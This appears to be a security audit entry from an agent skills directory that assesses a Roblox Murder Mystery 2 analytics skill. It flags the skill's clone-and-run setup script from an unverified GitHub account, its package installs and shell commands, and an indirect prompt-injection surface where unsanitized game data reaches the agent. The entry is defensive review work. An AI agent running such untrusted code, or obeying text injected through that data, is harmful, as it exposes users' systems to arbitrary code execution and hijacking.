The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to clone a repository from an unverified GitHub user and execute a shell script with installation flags, a pattern that enables arbitrary code execution from remote sources.
Evidence: git clone https://github.com/8015238355/mm2-analytics-dashboard-2026.git followed by ./setup.sh --install.
[EXTERNAL_DOWNLOADS]: The skill initiates package manager installations for both Node.js and Python from the cloned repository, which is hosted by an untrusted third party.
Evidence: npm install and python3 -m pip install -r requirements.txt.
[COMMAND_EXECUTION]: The skill frequently invokes local shell commands to run analytics and strategy modules, increasing the operational risk if the underlying scripts are malicious.
Evidence: Use of python3 main.py with various modes including analytics, inventory, and live.
[INDIRECT_PROMPT_INJECTION]: The skill processes Murder Mystery 2 inventory and gameplay data without explicit sanitization, creating an attack surface where malicious text in the game data could influence agent behavior.
Ingestion points: The skill reads data via InventoryManager.scan_inventory(), AnalyticsDashboard.load_data(), and profile YAML configurations.
Boundary markers: No delimiters or protective instructions are used when interpolating this external data into the analysis context.
Capability inventory: The skill has the ability to write files (inventory.export) and execute shell commands (main.py).
Sanitization: No data validation or escaping mechanisms are described for handling potentially untrusted game strings.

mm2-roblox-analytics-toolkit